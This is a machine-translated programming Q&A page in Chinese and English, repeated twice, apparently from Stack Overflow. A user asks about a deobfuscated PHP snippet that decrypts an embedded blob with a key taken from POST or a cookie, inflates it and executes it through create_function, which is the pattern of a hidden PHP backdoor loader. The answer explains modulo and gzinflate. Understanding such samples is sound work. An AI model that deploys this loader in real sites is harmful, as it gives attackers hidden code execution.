加密 php 代码
Encrypted php code
问题
我有一些 PHP 代码,我已经解密(去混淆)了 2 个小时。我终于将它转换回可读代码,但由于对下面代码中的某些内容缺乏了解,我在理解此处使用的算法时仍然存在一些问题。
代码
<?php
$posted = isset($_POST['posted']) ? $_POST['posted'] : (isset($_COOKIE['posted']) ? $_COOKIE['posted'] : NULL);
if ($posted!==NULL) {
$posted= md5($posted) . substr(md5(strrev($posted)), 0, strlen($posted));
for ($counter=0; $counter < 15324; $counter++) {
$idk[$counter] = chr((ord($idk[$counter]) - ord($posted[$counter])) % 256);
$posted.=$idk[$counter];
}
if($idk = @gzinflate($idk)) {
if (isset($_POST['posted']))
@setcookie('posted', $_POST['posted']);
$counter = create_function('', $idk);
unset($idk, $posted);
$counter();
}
}
$idk
变量已经是一个值,其中包含一个正在被 base64 解码的长字符串。
我不明白的地方
我几乎理解所有代码,但我不明白 % 256
在这里做了什么,我也不知道 gzinflate()
做了什么。
所以,gzinflate()
un-compresses input data that is compressed with the zlib DEFLATE
algorithm. The corresponding function to compress or deflate an uncompressed string is called gzdeflate()
,它的手册页提供了更多信息:
This function compresses the given string using the DEFLATE data format.
For details on the DEFLATE compression algorithm see the document "DEFLATE Compressed Data Format Specification version 1.3" (RFC 1951). Sparing a few details, this is similar to compressing a file using gzip myfile.txt
on the Linux command line, which would create the compressed file myfile.txt.gz
. In short, this is uncompressing compressed data assigned to $idk
.
$variable % 256
returns $variable
除以 256
的余数。如果我将 $variable
设置为 258
,$variable % 256
将是 2
。当您想查看一个数字是否被另一个数字 cleanly-divisible 时,通常会使用它。例如,如果我想在循环中每隔 100
次显示一个 status-update,我可能会这样做:
<?php
for ($i = 1; $i <= 1000; ++$i)
{
// Do something on each loop.
if (($i % 100) == 0)
{
echo sprintf("Loop %d of 1000; %d percent complete.\n", $i, $i / 1000 * 100);
}
}
但显然还有很多其他用途。
就帮助您弄清楚此源代码的确切作用而言,我建议您通过实际输入 step-by-step 并查看每一步之后发生的情况。如果没有更多上下文,我将很难弄清楚它在做什么。
问题
我有一些 PHP 代码,我已经解密(去混淆)了 2 个小时。我终于将它转换回可读代码,但由于对下面代码中的某些内容缺乏了解,我在理解此处使用的算法时仍然存在一些问题。
代码
<?php
$posted = isset($_POST['posted']) ? $_POST['posted'] : (isset($_COOKIE['posted']) ? $_COOKIE['posted'] : NULL);
if ($posted!==NULL) {
$posted= md5($posted) . substr(md5(strrev($posted)), 0, strlen($posted));
for ($counter=0; $counter < 15324; $counter++) {
$idk[$counter] = chr((ord($idk[$counter]) - ord($posted[$counter])) % 256);
$posted.=$idk[$counter];
}
if($idk = @gzinflate($idk)) {
if (isset($_POST['posted']))
@setcookie('posted', $_POST['posted']);
$counter = create_function('', $idk);
unset($idk, $posted);
$counter();
}
}
$idk
变量已经是一个值,其中包含一个正在被 base64 解码的长字符串。
我不明白的地方
我几乎理解所有代码,但我不明白 % 256
在这里做了什么,我也不知道 gzinflate()
做了什么。
所以,gzinflate()
un-compresses input data that is compressed with the zlib DEFLATE
algorithm. The corresponding function to compress or deflate an uncompressed string is called gzdeflate()
,它的手册页提供了更多信息:
This function compresses the given string using the DEFLATE data format.
For details on the DEFLATE compression algorithm see the document "DEFLATE Compressed Data Format Specification version 1.3" (RFC 1951). Sparing a few details, this is similar to compressing a file using
gzip myfile.txt
on the Linux command line, which would create the compressed filemyfile.txt.gz
. In short, this is uncompressing compressed data assigned to$idk
.
$variable % 256
returns $variable
除以 256
的余数。如果我将 $variable
设置为 258
,$variable % 256
将是 2
。当您想查看一个数字是否被另一个数字 cleanly-divisible 时,通常会使用它。例如,如果我想在循环中每隔 100
次显示一个 status-update,我可能会这样做:
<?php
for ($i = 1; $i <= 1000; ++$i)
{
// Do something on each loop.
if (($i % 100) == 0)
{
echo sprintf("Loop %d of 1000; %d percent complete.\n", $i, $i / 1000 * 100);
}
}
但显然还有很多其他用途。
就帮助您弄清楚此源代码的确切作用而言,我建议您通过实际输入 step-by-step 并查看每一步之后发生的情况。如果没有更多上下文,我将很难弄清楚它在做什么。